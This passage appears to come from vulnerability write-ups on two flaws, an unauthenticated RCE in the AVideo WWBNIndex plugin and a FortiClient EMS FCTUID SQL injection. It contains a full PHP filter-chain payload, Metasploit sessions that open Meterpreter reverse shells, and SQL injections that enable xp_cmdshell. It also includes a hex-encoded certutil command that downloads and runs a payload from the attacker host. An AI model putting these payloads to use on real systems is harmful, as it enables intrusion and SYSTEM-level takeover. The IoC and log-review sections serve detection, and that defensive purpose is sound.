nvert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
With tcpdump running in a separate terminal we can see ICMP requests start coming from example.com
which is 172.16.199.131
➜ metasploit-framework git:(upstream-master) ✗ sudo tcpdump -i any icmp Password: tcpdump: data link type PKTAP tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on any, link-type PKTAP (Apple DLT_PKTAP), snapshot length 524288 bytes 08:49:08.893463 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64 08:49:08.893468 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 164, length 64 08:49:08.893494 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64 08:49:08.893496 IP 172.16.199.1 > example.com: ICMP echo reply, id 1, seq 164, length 64 08:49:09.917575 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64 08:49:09.917579 IP example.com > 172.16.199.1: ICMP echo request, id 1, seq 165, length 64
Metasploit Module Demo
The Metasploit Module has three separate targets which can be exploited:
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > show targets Exploit targets: ================= Id Name -- ---- 0 Automatic => 1 PHP In-Memory 2 Unix In-Memory 3 Windows In-Memory
We we use the PHP In-Memory
target for this demonstration which will allow us to get a PHP Meterpreter session on the target executing in the context of the user running the application which in this case will be www-data
:
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set target 1 target => 1 msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected vulnerable AVideo version: 12.4, with vulnerable plugin WWBNIndex running. [*] Sending stage (39927 bytes) to 172.16.199.131 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.131:45702) at 2024-05-22 09:38:12 -0400 meterpreter > getuid Server username: www-data meterpreter > sysinfo Computer : msfuser-virtual-machine OS : Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct 6 10:23:26 UTC 2 x86_64 Meterpreter : php/linux meterpreter >
IoCs
The Wiki instructs users to install using a LAMP environment which means IoCs are most likely going to be found in the /var/log/apache2
directory. I would suggest running the following grep
command:
msfuser@msfuser-virtual-machine:/var/log$ grep -r "plugin/WWBNIndex/submitIndex.php" ./ grep: ./boot.log: Permission denied grep: ./vmware-vmtoolsd-root.log: Permission denied grep: ./vmware-vmsvc-root.2.log: Permission denied grep: ./btmp: Permission denied grep: ./private: Permission denied grep: ./gdm3: Permission denied ./apache2/access.log:172.16.199.1 - - [22/May/2024:05:46:22 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" ./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" ./apache2/error.log.1:[Tue May 21 11:19:15.787030 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning: Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log.1:[Tue May 21 11:19:15.787365 2024] [php:warn] [pid 13160] [client 172.16.199.1:58523] PHP Warning: require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:46:22.086098 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning: Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:46:22.086170 2024] [php:warn] [pid 14828] [client 172.16.199.1:49163] PHP Warning: require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:46:22.086186 2024] [php:error] [pid 14828] [client 172.16.199.1:49163] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:49:19.874976 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning: Undefined array key "systemRootPath" in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:49:19.875069 2024] [php:warn] [pid 14825] [client 172.16.199.1:49220] PHP Warning: require_once(plugin/WWBNIndex/WWBNIndex.php): Failed to open stream: No such file or directory in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/error.log:[Wed May 22 05:49:19.875100 2024] [php:error] [pid 14825] [client 172.16.199.1:49220] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6 ./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" ./apache2/access.log.1:172.16.199.1 - - [21/May/2024:11:19:15 -0700] "POST /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
Pay close attention to the apache error.log
. This line indicates an attacker could have attempted to exploit the vulnerability but attempted to run a command that failed and thus the vulnerable require statement on line 6 of submitIndex.php
that facilitates the RCE also failed:
./apache2/error.log.1:[Tue May 21 11:19:15.787387 2024] [php:error] [pid 13160] [client 172.16.199.1:58523] PHP Fatal error: Uncaught Error: Failed opening required 'plugin/WWBNIndex/WWBNIndex.php' (include_path='.:/usr/share/php') in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php:6\nStack trace:\n#0 {main}\n thrown in /var/www/html/AVideo/plugin/WWBNIndex/submitIndex.php on line 6
Also pay close attention to the apache access.log
. This line indicates an attacker could have attempted to access the vulnerability:
./apache2/access.log:172.16.199.1 - - [22/May/2024:05:49:19 -0700] "GET /AVideo/plugin/WWBNIndex/submitIndex.php HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
Note that the presence of both of the log lines highlighted above do not necessarily indicate the system has been compromised, they could be from normal operation. However on a compromised system, if an attacker did not clean up after themselves (delete those log files) it’s very likely traces like the ones mentioned above would be present.
Obtaining a Vulnerable version
The WWBNIndex Plugin is installed by default on the most recent patched versions. There is only one affected release (12.4) available for downloadon the official GitHub page and the vulnerable plugin does not exist in this release. The original exploit author doesn’t mention having to install the vulnerable plugin in order for the application to be vulnerable, they mention:
This particular vulnerability lies within the WWBNIndex plugin — a crucial component for the platform’s functionality
It seems as though all vulnerable versions have been removed from the GitHub release section. If you want to install a vulnerable version, please checkout the following branch on the AVideo GitHub page and install the application from there.
Attacker Value and Exploitability
I gave this vulnerability the Attacker Value and Exploitability values I did because of the unauthenticated unprivileged access it gives to an attacker. Also because of how easy the vulnerability is to exploit and for how reliable the exploit is.
Technical Analysis
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.
Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID
parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell
which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM
.
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.
Testing SQLi
One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; –
into the vulnerable FCTID
parameter:
MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; -- IP=127.0.0.1 MAC=86:fc:61:82:77:66 FCT_ONNET=0 CAPS=32767 VDOM=default EC_QUARANTINED=0 SIZE= 1581 X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NDUzQzIwNzYtODA2Mi00NEEwLUExNUYtRTkxQzYzREVCMUJCCk5XSUZTPUV0aGVybmV0MHwyNTEuMjUxLjIyMC4yN3wxNTpiYzphZjowZDo0Yjo3M3wyNDIuMTI0LjE5Ny43Nnw3Nzo5ZTpiOTpjMTo5Njo4NnwxfCp8MApVVEM9MTcxMDI3MTc3NApQQ19ET01BSU49CkNPTV9NQU49Vk13YXJlLCBJbmMuCkNQVT1JbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjE1IENQVSBAIDIuNTBHSHoKTUVNPTEyMjg3CkhERD05OQpDT01fU049Vk13YXJlLTQyIDA0IGVkIDJkIDY0IGU4IDBiIDE0LTQ1IGU5IGU0IGY2IDVhIGM3IDY3IDgyCkRPTUFJTj0KV09SS0dST1VQPVdPUktHUk9VUApVU0VSX1NJRD1TLTEtNS0yMS0zMC0wLTMwLTUwMApHUk9VUF9UQUc9CkFER1VJRD0KRVBfRkdUQ0hLU1VNPTAKRVBfUlVMRUNIS1NVTT0wCldGX0ZJTEVTQ0hLU1VNPTAKRVBfQVBQQ1RSTENIS1NVTT0wCg== X-FCCK-REGISTER-END
A vulnerable endpoint will return a response containing the string KA_INTERVAL
like so:
FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|
Getting RCE
The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell
. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell
and then use it to execute a payload:
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload>
(as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell
.
Metasploit Module Demo
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 rhosts => 172.16.199.200 msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options Module options (exploit/windows/http/forticlient_ems_fctid_sqli): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8013 yes The target port (TCP) VHOST no HTTP server virtual host Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 8383 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target View the full module info with the info, or info -d command. msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:8383 [*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) [+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully [*] Sending stage (201798 bytes) to 172.16.199.200 [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully [*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 meterpreter > getuid syServer username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC2 OS : Windows 